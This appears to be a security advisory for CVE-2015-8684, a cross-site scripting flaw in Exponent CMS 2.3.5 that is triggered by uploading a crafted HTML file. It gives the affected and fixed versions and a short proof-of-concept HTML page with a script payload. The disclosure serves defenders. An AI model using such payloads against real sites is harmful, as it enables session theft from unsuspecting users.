Exponent CMS version 2.3.5 suffers from a file upload vulnerability that allows for cross site scripting.
c4ece7a07c3fa3b38dd0fb113aad54aacd042e613d452d326da6237d70179fccCVE-2015-8684 - Exponent CMS 2.3.5 File Upload Cross Site Scripting
Vulnerability
Product : Exponent CMS
CVE : CVE-2015-8684
Author : Sachin Wagh
Affected Version : Exponent CMS 2.3.5
Fixed Version: Exponent CMS 2.3.7
============================================================================
Details:
The Exponent CMS is prone to a cross-site scripting vulnerability because
it fails to sufficiently sanitize user-supplied input.
This issue occur when uploading crafted HTML file.
An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.
============================================================================
Proof-Of-Concept:
<html>
<head></head>
<body>
<div id="some-div">
<script type="text/javascript">prompt(document.domain);</script>
</div>
</body>
</html>
============================================================================
Affected Area(s):
[+] https://localhost/exponent-2.3.5/navigation/edit_contentpage/parent/0
============================================================================
Credits & Authors :
Sachin Wagh (@tiger_tigerboy)
============================================================================
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